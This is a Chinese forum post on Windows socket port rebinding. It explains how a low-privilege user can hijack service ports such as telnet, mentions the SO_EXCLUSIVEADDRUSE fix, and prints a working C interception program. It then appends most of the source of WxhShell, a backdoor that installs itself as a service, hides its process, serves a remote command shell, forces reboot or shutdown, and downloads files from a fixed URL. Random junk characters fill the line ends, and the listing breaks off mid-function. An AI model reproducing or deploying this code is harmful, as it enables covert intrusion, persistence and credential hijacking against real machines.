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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +<WNAmh   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TZarI-A  
b>nwX9Y/U  
  saddr.sin_family = AF_INET; +aOX{1w  
Nk?/vMaw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :PB W=W  
xxpzz(S ]A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B8zc#0!1  
\Lm`jU(:l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hdYd2 j  
vP,$S^7$  
  这意味着什么?意味着可以进行如下的攻击: 3u9}z+q  
/ &yc?Ui  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5zH_yZ@+  
ne=CN!=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z!)@`?  
] m #*4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @[]#[7  
,j eC7-tX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w+hpi5OH  
5]2 p>%G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B9]bv]  
_BG7 JvI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o RK:{?Y  
{6>$w/+~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ce} m_  
-6# _t  
  #include U=[isi+7  
  #include ]qiX"<s>~C  
  #include 5)ooE   
  #include    0*6Q 8`I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $rPQ%2eF4  
  int main() A&X XL~yH  
  { Xl E0oN~{  
  WORD wVersionRequested; h/*@ML+bB8  
  DWORD ret; lF\2a&YRbn  
  WSADATA wsaData; _U Y5  
  BOOL val; 'AZxR4W  
  SOCKADDR_IN saddr; l6.&<0pLT  
  SOCKADDR_IN scaddr; Tb{RQ?Nw'  
  int err; LXf|n  
  SOCKET s; n_*.i1\'w  
  SOCKET sc; xggF:El3{  
  int caddsize; =0SJf 3  
  HANDLE mt;  Au*1-  
  DWORD tid;   TwKi_nh2m  
  wVersionRequested = MAKEWORD( 2, 2 ); %{0F.  
  err = WSAStartup( wVersionRequested, &wsaData ); *TPWLR ^  
  if ( err != 0 ) { dEam|  
  printf("error!WSAStartup failed!\n"); 9rT"_d#  
  return -1; /`j2%8^N  
  } 9G4os!x)  
  saddr.sin_family = AF_INET; Wlp`D  
   q&^H" fF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~w}=Oby'y  
CW+gZ!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *T:jR  
  saddr.sin_port = htons(23); tMyMA}`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OXbC\^qo@  
  { R#s_pW{op  
  printf("error!socket failed!\n"); im F,8'  
  return -1; W3n[qVZIC  
  } kB=5=#s  
  val = TRUE; Is9.A_0h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 olK*uD'`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B)rBM  
  { !p_l(@f  
  printf("error!setsockopt failed!\n"); 3;R`_#t+  
  return -1; ,_K:DSiB  
  } {*nE8+..A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fzz9BEw(i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V@K^9R,|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y]i:$X]C?X  
qJR8fQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kH=qJ3Z  
  { .ZM0cwF  
  ret=GetLastError(); 4I2#L+W  
  printf("error!bind failed!\n"); qBZ;S3  
  return -1; H7f  Xg  
  } AOx8OiqE:  
  listen(s,2); 2FGCf} ,  
  while(1) tZ:fOM  
  { m;S%RB^~H  
  caddsize = sizeof(scaddr); a&[>kO  
  //接受连接请求 ^UyN)eX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  nWUau:%  
  if(sc!=INVALID_SOCKET) |RDE/  
  { ^tVIPH.R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J~ wu*x  
  if(mt==NULL) &+GbklUB~  
  { 7>-99o^W  
  printf("Thread Creat Failed!\n"); Uh^j;s\y  
  break; E&Sr+D aPD  
  } nyOvB#f  
  } A$?o3--#]G  
  CloseHandle(mt); U[:Js@uH_  
  } g^^^fKUp)  
  closesocket(s); Ah zV?6e  
  WSACleanup(); B&}lYo  
  return 0; NC|VZwQtm  
  }   lLEEre  
  DWORD WINAPI ClientThread(LPVOID lpParam) d!"gb,ec  
  { ,u14R]  
  SOCKET ss = (SOCKET)lpParam; }RQ'aeVl(  
  SOCKET sc; .C1g Dry]  
  unsigned char buf[4096]; D?"Q)kVuD  
  SOCKADDR_IN saddr; ,Uy~O(F t  
  long num; Vb?_RE_H  
  DWORD val; g5 y*-t  
  DWORD ret; wL&[Vi_j{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e(9K.3 @{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KCn#*[  
  saddr.sin_family = AF_INET; SnoEi~Da  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l Ng)k1  
  saddr.sin_port = htons(23); &pAmFe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ua+Us"M3}  
  { r6 kQMFA  
  printf("error!socket failed!\n"); T=fVD8  
  return -1; DMT2~mh  
  } ^k!u  
  val = 100; [LSs|f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'A/ f>W  
  { n'@XgUI,  
  ret = GetLastError(); Qq\hD@Z|  
  return -1; 5(y Q-/6C+  
  } l+?sR<e?!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zy6>i2f4f  
  { 83Fmu/(  
  ret = GetLastError(); D*8oFJub  
  return -1; r4 ;nkx  
  } &I/C^/F&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NaeG)u#+  
  { 3 FLht L  
  printf("error!socket connect failed!\n"); #F+b^WTR  
  closesocket(sc); _Tf0L<A'R  
  closesocket(ss); wodff_l  
  return -1; EyV6uk~  
  } I@q4D1g  
  while(1) ))uki*UNK  
  { aMyf|l.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =`wnng5m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o [nr)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G3t\2E9S  
  num = recv(ss,buf,4096,0); bd`}2vr  
  if(num>0) !(qaudX{>k  
  send(sc,buf,num,0); ~Yl%{1  
  else if(num==0) <Kq!)) J'  
  break; $p.0[A(N  
  num = recv(sc,buf,4096,0); $9<P3J 1  
  if(num>0) P L*kjrLu7  
  send(ss,buf,num,0); &fwb?Vn4  
  else if(num==0) 2tdr1+U?g  
  break; }_cX" s  
  } CS Isi]H  
  closesocket(ss); -[>G@m:?e  
  closesocket(sc); Evq^c5n>{  
  return 0 ; ~`VD}{[,B  
  } q]z%<`.9*  
Ndqhc  
x5!lnN,#  
==========================================================  .KE2sodq  
hgF4PdO1e  
下边附上一个代码,,WXhSHELL EP]OJ$6I  
t0o'_>*?A  
========================================================== M\bea  
wTu=v  
#include "stdafx.h" ~@EBW3>~5  
#W=H)6  
#include <stdio.h> #Pq.^ ^  
#include <string.h> j*@EJ"Gm>  
#include <windows.h> 9rQw~B<S  
#include <winsock2.h> (khMjFOg  
#include <winsvc.h> sqk$q pV6  
#include <urlmon.h> y ;T=u(}  
kG]FB.@bG  
#pragma comment (lib, "Ws2_32.lib") /mFa*~dj2  
#pragma comment (lib, "urlmon.lib") "(SZ;y  
<!.Qn Y  
#define MAX_USER   100 // 最大客户端连接数 xouy|Nn'  
#define BUF_SOCK   200 // sock buffer St~a/L q6  
#define KEY_BUFF   255 // 输入 buffer ] iVoF N}^  
(%f2ZNen  
#define REBOOT     0   // 重启 9_\1cSk'  
#define SHUTDOWN   1   // 关机 FQ6{NMz,h  
WG.J-2#3  
#define DEF_PORT   5000 // 监听端口 ,daZ KxT  
pbb6?R,  
#define REG_LEN     16   // 注册表键长度 B3iU#   
#define SVC_LEN     80   // NT服务名长度 CGN:=D<  
9='=wWW  
// 从dll定义API @mrGG F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qECta'b&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mny mV;y"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~V<62"G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m;"dLUb  
U `<?~Bz  
// wxhshell配置信息 .f]2%utHB  
struct WSCFG { ^\zf8kPti  
  int ws_port;         // 监听端口 !^<%RT9@|  
  char ws_passstr[REG_LEN]; // 口令 dk4|*l-  
  int ws_autoins;       // 安装标记, 1=yes 0=no  [EU \-  
  char ws_regname[REG_LEN]; // 注册表键名 ![#>{Q4i  
  char ws_svcname[REG_LEN]; // 服务名 $f]dL};  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vx8-~Oq{|;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KF4}cM=.5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X[ up$<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ON/U0V:v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2Sg,b8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wX*F'r"z  
{]CO;5:  
}; v&i,}p^M5  
V}UYr Va#9  
// default Wxhshell configuration \a}W{e=FNT  
struct WSCFG wscfg={DEF_PORT, |ydOi&  
    "xuhuanlingzhe", H%AC *,  
    1, UjI -<|  
    "Wxhshell", ^6U0n!nU  
    "Wxhshell", C%y!)v_x  
            "WxhShell Service", '-[~I>o%  
    "Wrsky Windows CmdShell Service", jsrIZbN  
    "Please Input Your Password: ", /}=Bi-  
  1, 7v^V]&&s  
  "http://www.wrsky.com/wxhshell.exe", 3\jcq@N  
  "Wxhshell.exe" nm597WeZp  
    }; 8 k%!1dyMB  
~9KxvQzt  
// 消息定义模块 1SYBq,[])  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PRE\ 2lLY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U F ]g6u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  H*]B7?S  
char *msg_ws_ext="\n\rExit."; ) HN,Az"  
char *msg_ws_end="\n\rQuit."; DNN60NX 5Q  
char *msg_ws_boot="\n\rReboot..."; ?QXc,*=N  
char *msg_ws_poff="\n\rShutdown..."; &7CAxU;i3  
char *msg_ws_down="\n\rSave to "; ?Q XS?  
^5yFb=2  
char *msg_ws_err="\n\rErr!"; @3:oo /;  
char *msg_ws_ok="\n\rOK!"; ]VU a $$  
bq<DW/  
char ExeFile[MAX_PATH]; MSw:Ay [9  
int nUser = 0; jZ8#86/#{  
HANDLE handles[MAX_USER]; b\l +S2  
int OsIsNt; .;&1"b8G  
Jm l4EW7  
SERVICE_STATUS       serviceStatus; JNYFu0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M!e$h?vB  
e+t2F |xDh  
// 函数声明 JWuF ?<+k  
int Install(void); 6fOh *  
int Uninstall(void); 'kz[Gh*8  
int DownloadFile(char *sURL, SOCKET wsh); LmKG6>Q1#1  
int Boot(int flag); -%*w&',G  
void HideProc(void); LK'|sO>|  
int GetOsVer(void); Xt!%W    
int Wxhshell(SOCKET wsl); 8=%%C:  
void TalkWithClient(void *cs); _26~<gU8  
int CmdShell(SOCKET sock); 6H\apgHm  
int StartFromService(void); OEN!~-u  
int StartWxhshell(LPSTR lpCmdLine); 1~HR;cTv=  
uNV\_'9>Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gg3cY{7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =h4* ^NJ  
uD2v6x236  
// 数据结构和表定义 wlM"Zt  
SERVICE_TABLE_ENTRY DispatchTable[] = l }i .  
{ ;c-J)Ky  
{wscfg.ws_svcname, NTServiceMain}, jJN.(  
{NULL, NULL} `zjEs8`'  
}; nzdJ*C  
=psX2?%L  
// 自我安装 -}B&>w,5  
int Install(void) =vv4;az X  
{ ;eG,T-:  
  char svExeFile[MAX_PATH]; T-: @p>  
  HKEY key; 1%?J l~M  
  strcpy(svExeFile,ExeFile); g?'4G$M  
AQ>8]`e`  
// 如果是win9x系统,修改注册表设为自启动 8}& O7zO?  
if(!OsIsNt) { Q)7iu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z>)(yi9+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p#~Dq(Q  
  RegCloseKey(key); nQ0g,'o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w+P?JR!)+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &gn^i!%Z)  
  RegCloseKey(key); a]<y*N?qu  
  return 0; ;_.%S*W\  
    } #)aUKFX  
  } qjsS2,wM  
} qeK_w '  
else { Xgge_`T9  
/e^q>>z  
// 如果是NT以上系统,安装为系统服务 88)F-St  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q F \a]e  
if (schSCManager!=0) ?I6us X9$  
{ HMQi:s7%  
  SC_HANDLE schService = CreateService H]LH~l  
  ( #Z'r;YOzs  
  schSCManager, y{.s 4NT  
  wscfg.ws_svcname, O<&8 gk~  
  wscfg.ws_svcdisp,  Pa .D+  
  SERVICE_ALL_ACCESS, nQ*9|v4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6R%Ra  
  SERVICE_AUTO_START, (p2jigP7a[  
  SERVICE_ERROR_NORMAL, pXfg{2  
  svExeFile, yG)zrRU  
  NULL, qRXb 9c  
  NULL, W0]W[b,:u$  
  NULL, !2)$lM1@J  
  NULL, r sf +dC  
  NULL ,k*g `OTW  
  ); B 4pJg  
  if (schService!=0) &-Bw7v  
  { ZGUhje!  
  CloseServiceHandle(schService); bk@F/KqL  
  CloseServiceHandle(schSCManager); '%@fW:r~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wf4?{H  
  strcat(svExeFile,wscfg.ws_svcname); I`?6>Z+%)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 01n5]^.p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n%o"n?e  
  RegCloseKey(key); ]] R*sd*  
  return 0; O7p>"Bh  
    } J2\%rb,  
  } >[]@Df,p  
  CloseServiceHandle(schSCManager); 1(z&0Y;  
} |Co ?uv i  
} >wiW(Ki}  
g5gq {KlU  
return 1; xEt".K  
} |/u&%w?W  
4{?Djnh  
// 自我卸载 lkNaSz[  
int Uninstall(void) K !&{k94  
{ D$W&6'  
  HKEY key; *.X!AJ;M=O  
!,f{I5/  
if(!OsIsNt) { j]uL 9\>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^l}Esz`-M  
  RegDeleteValue(key,wscfg.ws_regname); 6xk~Bt  
  RegCloseKey(key); `:hEc<_/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Kq/[$~0  
  RegDeleteValue(key,wscfg.ws_regname); C5Fk>[fS  
  RegCloseKey(key); %:bTOw[4r  
  return 0; 4l0ON>W(  
  } v%_5!SR  
} r|U'2+vn  
} u{F^Ngy )  
else { s68&AB   
UZ8 vZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1&S34wJF  
if (schSCManager!=0) #/u%sX`#y  
{ [ D[&aA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XU f]gQu3=  
  if (schService!=0)  3z^l  
  { so~vnSQ!x  
  if(DeleteService(schService)!=0) { E;[ANy4L  
  CloseServiceHandle(schService); 9,h'cf`F  
  CloseServiceHandle(schSCManager); 0/".2(\}T  
  return 0; iOCx7j{BS  
  } K)m\xzT/  
  CloseServiceHandle(schService); >heFdKq1  
  } [nQ<pTg~r  
  CloseServiceHandle(schSCManager); 8*sZ/N.  
} 9mdp \A  
} _wa1R+`_  
^a=,,6T  
return 1; %i!&Fr  
}  2=X\G~a  
x1\ a_Kt  
// 从指定url下载文件 qT( 3M9!  
int DownloadFile(char *sURL, SOCKET wsh) 8mM^wT  
{ c< ke)@  
  HRESULT hr; cTy;?(E  
char seps[]= "/"; Za+26#g  
char *token; !<psK[  
char *file; -p|@Enn  
char myURL[MAX_PATH]; nl9G1Sm(E  
char myFILE[MAX_PATH]; Vx1xULdY  
X{SD3j=G#  
strcpy(myURL,sURL); AL #w  
  token=strtok(myURL,seps); >P7|-bV  
  while(token!=NULL) 0E9LZOw4T  
  { tx=~bm"*?  
    file=token; S`yY<1[O  
  token=strtok(NULL,seps); zY@|KV"^r  
  } lNtZd?=>  
'%&i#Eb  
GetCurrentDirectory(MAX_PATH,myFILE); >_ji`/ d{  
strcat(myFILE, "\\"); 1-.UkdZ}  
strcat(myFILE, file); $7q'Be@{  
  send(wsh,myFILE,strlen(myFILE),0); T\g%.  
send(wsh,"...",3,0); A;~u"g'z&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k@qn' Zi  
  if(hr==S_OK) &r \pQ};  
return 0; !(=bH"P  
else \M4/?<g  
return 1; 4%#C _pE9  
5Qb%g )jZ  
} E}S)uI,gn  
Q`#Y_N-h+  
// 系统电源模块 O9>& E;`5  
int Boot(int flag) i*`;/x'+  
{ kFPZ$8e  
  HANDLE hToken; qp>V\h\  
  TOKEN_PRIVILEGES tkp; > <WR]`G  
o g.LD7&/  
  if(OsIsNt) { 9;3f`DK@2k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [eV!ho*r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {b4+ Yc  
    tkp.PrivilegeCount = 1; <5*cc8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `.PZx%=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^hOnLy2  
if(flag==REBOOT) { a}l^+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q|)8VmVV  
  return 0; .Y.\D\>~  
} U[5  
else { \& 6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #7OUqp  
  return 0; c!@g<<}[(  
} |n-NK&Y(o  
  } [bH5UTA  
  else { VIo %((  
if(flag==REBOOT) { =8`,,=P^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <6k5nEh  
  return 0; n m4+$GW   
} V[>MKB(  
else { x6A*vP0nm)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2T!pFcc  
  return 0; aML?$_6  
} 7VkT(xnm  
} xk=5q|u_-  
_uL{@(  
return 1; &CW,qY,sh  
} j["b*X`8G  
$fSV8n;Y  
// win9x进程隐藏模块 `mV&[`NZ  
void HideProc(void) +rS}f N$L.  
{ ON~jt[  
}9[E+8L1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?.#?h>MS{s  
  if ( hKernel != NULL ) C Sx V^  
  { )F;`07  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); COJny/FT|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^`NU:"  
    FreeLibrary(hKernel); ia !t~~f  
  } C5;=!B  
NDLk+n  
return; R%iyNK,  
} D}59fWz@  
26|2r  
// 获取操作系统版本 /I|.^ Id|  
int GetOsVer(void) mZ sftby}  
{ w[@>k@=  
  OSVERSIONINFO winfo; +$M%"=tk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6tXx--Nh  
  GetVersionEx(&winfo); tW;?4}JR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -?gr3rV@  
  return 1; !|K~)4%rj  
  else K:&FWl.  
  return 0; Fl\X&6k  
} T-x1jC!B'  
490gW?u  
// 客户端句柄模块 w7NJ~iy  
int Wxhshell(SOCKET wsl) &!uw;|%  
{ 7:x%^J+  
  SOCKET wsh; ZzET8?8  
  struct sockaddr_in client; HlEp Dph%  
  DWORD myID; X6s6fu;  
-:IG{3fnu  
  while(nUser<MAX_USER) ?eD,\G  
{ 9B &QY 2v  
  int nSize=sizeof(client); Q*|O9vu'D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |&vQ1o|}  
  if(wsh==INVALID_SOCKET) return 1; b(wzn`Z%Et  
9 ! [oJ3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "4N%I  
if(handles[nUser]==0) t]1j4S"pm  
  closesocket(wsh); Am=D kkP%  
else i-oi?x<u&(  
  nUser++; Wlm%W>%  
  } 6FPGQ0q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v#u]cmI  
z^=.05jB  
  return 0; 5HP6o  
} J{8_4s!Xt>  
Rt!G:hy7  
// 关闭 socket P~n I6/r1  
void CloseIt(SOCKET wsh) {6Tw+/`P  
{ -FA]%Pl<'  
closesocket(wsh); !%b.k6%>w  
nUser--; Gw3eO&X3i  
ExitThread(0); Rz% Px:M  
} >o #^r;  
.m_yx{FZ=  
// 客户端请求句柄 is&A_C7yg  
void TalkWithClient(void *cs) 4Fhiac  
{ S%n5,vwE  
^L}fj$  
  SOCKET wsh=(SOCKET)cs; et]- ;(M  
  char pwd[SVC_LEN]; b%>vhj&F  
  char cmd[KEY_BUFF]; bv$g$  
char chr[1]; /C"dwh"``  
int i,j; +f/G2qY!t  
Ys,}L.  
  while (nUser < MAX_USER) { VQE8hQ37  
.zr2!}lB  
if(wscfg.ws_passstr) { <V)T_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! 7,rz1s73  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <(x[Qp/5P  
  //ZeroMemory(pwd,KEY_BUFF); e|Iylv[3  
      i=0; '9cShe  
  while(i<SVC_LEN) { UlQZw*ce  
p~1,[]k  
  // 设置超时 KB+,}7  
  fd_set FdRead; PY7j uS[+  
  struct timeval TimeOut; HrQBzS  
  FD_ZERO(&FdRead); ` oN~  
  FD_SET(wsh,&FdRead); vwQY_J8  
  TimeOut.tv_sec=8; $/ ;:Xb=q  
  TimeOut.tv_usec=0; <;\T e4g[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FEgM4m.(G<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xsS/)R?  
O-- "\4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O57n<J'6  
  pwd=chr[0]; l1}=>V1  
  if(chr[0]==0xd || chr[0]==0xa) { *qKPZb~  
  pwd=0; 9d{iq"*R  
  break; # JHicx\8l  
  } }.O,P'k  
  i++; /h'V1zL#  
    } qk~ni8  
6wH]W+A  
  // 如果是非法用户,关闭 socket UO^"<0u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HRO :U%  
} 7z!|sPW](b  
+')\,m "z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PY=(|2tb4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `*nVLtT Y  
0g% `L_e_  
while(1) { 6jjmrc[#}X  
4Z>KrFO  
  ZeroMemory(cmd,KEY_BUFF); v <1d3G=G  
Up?w >ly  
      // 自动支持客户端 telnet标准   eqD|3YX  
  j=0; Wr"-~PP  
  while(j<KEY_BUFF) { $%!'c# F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bmN'{09@  
  cmd[j]=chr[0]; e"HA.t[A  
  if(chr[0]==0xa || chr[0]==0xd) { ; V)pXLE  
  cmd[j]=0; :'RmT3  
  break; JK:i-  
  } ihjs%5Jo%  
  j++; M]&F1<  
    } d*80eB9P  
K?0f)@\nx  
  // 下载文件 jyRSe^x  
  if(strstr(cmd,"http://")) { dLl/V3C6t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iev02 8M  
  if(DownloadFile(cmd,wsh)) ?m5@ 63 5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>X]`Oj7y  
  else kGm-jh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TZ8:3ti  
  } Dizc#!IGU  
  else { ?B> { rj  
e= $p(  
    switch(cmd[0]) { \FOoIY!.x  
  ?;NC(Z,  
  // 帮助 yn=BO`sgW  
  case '?': { C-Y~T;53  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3e&H)  
    break; B:5\+_a!  
  } *@6,Sr)_  
  // 安装 :t?Z  
  case 'i': { 5~GHAi  
    if(Install()) ~)Z{ Yj9)S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .bcoH  
    else F*" "n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t[$C r;  
    break; [-}LEH1[p  
    } R+vago:  
  // 卸载 ]o}g~Xn  
  case 'r': { hgt@Mb   
    if(Uninstall()) y(gL.08<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .W4P/P w'  
    else O  |45r   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^e*Tg&  
    break; PuyJ:#a  
    } GQ=Zp3[  
  // 显示 wxhshell 所在路径 ~<[$.8*  
  case 'p': { M*XAyo4 fI  
    char svExeFile[MAX_PATH]; S0-f_,(  
    strcpy(svExeFile,"\n\r"); @)[Q6w`x  
      strcat(svExeFile,ExeFile); OP:i;%@c  
        send(wsh,svExeFile,strlen(svExeFile),0); *4]u?R  
    break; / =]h@m-`  
    } 6T*MKu  
  // 重启 SZVNu*G!H  
  case 'b': { mab921-n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b$7p`Ay  
    if(Boot(REBOOT)) !e>+ O^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ['~E _z  
    else { z4CqHS~%  
    closesocket(wsh); Kkfza  
    ExitThread(0); Ep>} S  
    } e@6]rl  
    break; `<Ry_}V  
    } 6z-ZJ|?  
  // 关机 Ax"]+pb  
  case 'd': { ^/'zU,  
